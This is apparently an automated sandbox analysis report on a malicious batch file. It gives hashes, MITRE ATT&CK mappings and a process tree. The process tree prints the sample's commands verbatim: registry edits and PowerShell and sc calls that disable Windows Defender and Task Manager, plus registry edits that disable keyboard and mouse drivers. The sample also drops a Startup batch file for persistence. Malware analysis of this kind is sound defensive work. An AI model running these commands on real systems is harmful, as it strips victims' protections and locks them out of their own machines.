cd9a479845bbed28e96035224749f0a194620373bcecad774149bc6cd005c9d3

General

Target
original.bat
Size 7KB
Sample260415-tlkpyads7k
SHA256 cd9a479845bbed28e96035224749f0a194620373bcecad774149bc6cd005c9d3
MD5 69f4f083fceee82e0fc091aa3ca1067c
SHA1 fbb66192ad62d6411ad9750b10f59650bcc687b1
SHA512 b00574334c8203846b26e96fa3786991e4a961c0f2dae8c090a0404567a4c1e01cb46d149dceebb74950dc889904003d9fbb1190af2ec6c9f2ad9d218a8887ea
SSDEEP 192:Ak2gVt+Tyn89Wz4aQD/DjMAaHN7BHiISGWvr1TxT:AaTuy89Wz4zD/DjMA8XiISGWvrXT
TLSH
T160F12A227D0A0A398557D8358CF39B3AF71162C78111BE90B5C66069A0AF9DC63BF7CD
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion evasion execution trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4176	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHelper.bat	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHelper.bat	cmd.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4176	powershell.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3548	sc.exe
4080	sc.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4176	powershell.exe
4176	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4176	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3380 wrote to memory of 5068	3380	cmd.exe	86
PID 5068 wrote to memory of 4884	5068	net.exe	87
PID 3380 wrote to memory of 5080	3380	cmd.exe	88
PID 3380 wrote to memory of 4368	3380	cmd.exe	89
PID 3380 wrote to memory of 4176	3380	cmd.exe	90
PID 3380 wrote to memory of 3548	3380	cmd.exe	91
PID 3380 wrote to memory of 4080	3380	cmd.exe	92
PID 3380 wrote to memory of 3952	3380	cmd.exe	93
PID 3380 wrote to memory of 2180	3380	cmd.exe	94
PID 3380 wrote to memory of 1676	3380	cmd.exe	95
PID 3380 wrote to memory of 2012	3380	cmd.exe	96
PID 3380 wrote to memory of 3636	3380	cmd.exe	97
PID 3380 wrote to memory of 2016	3380	cmd.exe	98
PID 3380 wrote to memory of 1532	3380	cmd.exe	99

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\original.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:3380
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5068
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4884
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:5080
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4176
- C:\Windows\system32\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3548
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4080
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:3952
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2180
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\kbdclass" /v "Start" /t REG_DWORD /d 4 /f
  2⤵
  PID:1676
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\mouclass" /v "Start" /t REG_DWORD /d 4 /f
  2⤵
  PID:2012
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\i8042prt" /v "Start" /t REG_DWORD /d 4 /f
  2⤵
  PID:3636
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\kbdhid" /v "Start" /t REG_DWORD /d 4 /f
  2⤵
  PID:2016
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\mouhid" /v "Start" /t REG_DWORD /d 4 /f
  2⤵
  PID:1532

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

System Services

2

T1569

Service Execution

2

T1569.002

Persistence

Create or Modify System Process

4

T1543

Windows Service

4

T1543.003

Privilege Escalation

Create or Modify System Process

4

T1543

Windows Service

4

T1543.003

Defense Evasion

Impair Defenses

4

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

2

T1489

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__PSScriptPolicyTest_4tkozwdl.oqi.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4tkozwdl.oqi.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/4176-2-0x00000259B6490000-0x00000259B64A0000-memory.dmp

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memory/4176-8-0x00000259D02E0000-0x00000259D0302000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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